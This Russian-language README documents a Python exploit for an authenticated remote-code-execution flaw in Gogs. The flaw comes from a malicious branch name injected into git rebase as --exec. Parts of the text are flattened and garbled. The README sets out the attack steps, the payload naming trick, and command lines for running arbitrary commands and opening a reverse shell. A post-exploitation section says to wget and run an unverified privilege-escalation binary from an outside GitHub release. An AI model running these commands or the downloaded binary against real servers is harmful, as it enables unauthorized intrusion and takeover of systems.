
Gogs RCE через внедрение аргументов в git rebase (CWE-88) — Python PoC. CVE-2026-52806
git rebase (CWE-88)Удаленное выполнение кода с аутентификацией на Gogs (<= 0.14.2 и 0.15.0+dev) через внедрение аргумента в процессе слияния pull request.
CVE-2026-52806
Функция Merge() в internal/database/pull.go передаёт имя базовой ветки PR
в git rebase без разделителя --. Ветка с именем
--exec=<КОМАНДА> обрабатывается Git как флаг --exec, а не как
позиционный аргумент, что приводит к выполнению sh -c <КОМАНДА> после каждого
воспроизведённого коммита во время rebase.
?v= на статических ресурсах и
проверяет, открыта ли регистрация, защищена ли капчей или отключена.-u <имя_пользователя> -pw <пароль>. Создаёт API-токен через
Basic auth или страницу веб-настроек.master с файлом READMEfeature-* с расходящимся коммитом--exec=sh${IFS}.payload, содержащую
скрипт, который выполняет команду атакующего в фоне--exec=.merge_style=rebase_before_merging. Gogs внутренне выполняет
git rebase --exec=sh${IFS}.payload, что запускает полезную нагрузку
после каждого воспроизведённого коммита.requests (pip install requests)gitpython3 gogs.py <target> [options]
python3 gogs.py http://target:3000 --preflight-only
Сообщает:
Registration: ENABLED (no captcha) — можно авторегистрацияRegistration: ENABLED (CAPTCHA DETECTED) — создайте аккаунт вручную на
странице регистрации цели, затем укажите учётные данные с -u / -pwRegistration: DISABLED — нужны существующие учётные данные от администратора# Авторегистрация + выполнение команды
python3 gogs.py 10.0.0.1:3000 --cmd "id > /tmp/pwned.txt"
# Существующий аккаунт
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --cmd "whoami"
# Обратная оболочка
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --listener 10.0.0.2:4444
# Капча включена: создайте аккаунт на странице регистрации цели, затем используйте учётные данные
python3 gogs.py 10.0.0.1:3000 -u myuser -pw mypassword --cmd "id"
# Если вход с учётными данными не удался, передайте файл cookie сессии напрямую
python3 gogs.py 10.0.0.1:3000 --cookie "i_like_gogs=abc123..." --cmd "id"
| Флаг | Описание |
|---|---|
target | Хост[:порт] (например, 47.109.58.140:9000) |
-p, --port | HTTP-порт (по умолчанию: 3000) |
-u, --username | Имя пользователя Gogs |
-pw, --password | Пароль Gogs |
--cookie | Строка cookie сессии |
--cmd | Команда для выполнения на цели |
--listener | Обратная оболочка хост:порт |
--lhost / --lport | Хост и порт для обратной оболочки |
--ssl | Использовать HTTPS |
--preflight-only | Только предварительная проверка |
После получения оболочки на цели процесс Gogs обычно работает от имени
пользователя с низкими привилегиями (например, git в Docker). Для попытки
повышения привилегий до root загрузите и запустите бинарный файл
lpe-toolkit
со страницы релизов проекта:
# Из вашей сессии оболочки:
wget https://github.com/portbuster1337/lpe-toolkit/releases/latest/download/lpe-toolkit-linux-amd64
chmod +x lpe-toolkit-linux-amd64
./lpe-toolkit-linux-amd64
Инструментарий перечисляет эксплойты для ядра, неправильные конфигурации и другие распространённые векторы повышения привилегий.
exploit/multi/http/gogs_rebase_rce
от Jonah Burgess (CryptoCat)
(PR #21515)qf6p-p7ww-cwr9 (gogs/gogs)Этот PoC на Python вдохновлён опубликованным модулем Metasploit. Уязвимость была обнаружена и ответственно раскрыта Джоной Бёрджесс (CryptoCat) из Rapid7.
Этот инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности. Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых не имеете явного разрешения, является незаконным. Авторы не несут ответственности за любое неправомерное использование или ущерб, причинённый этим программным обеспечением.
API Gogs не поддерживает удаление токенов, поэтому любые токены доступа к API,
созданные во время эксплуатации, останутся и должны быть удалены вручную
на странице /user/settings/applications целевого экземпляра.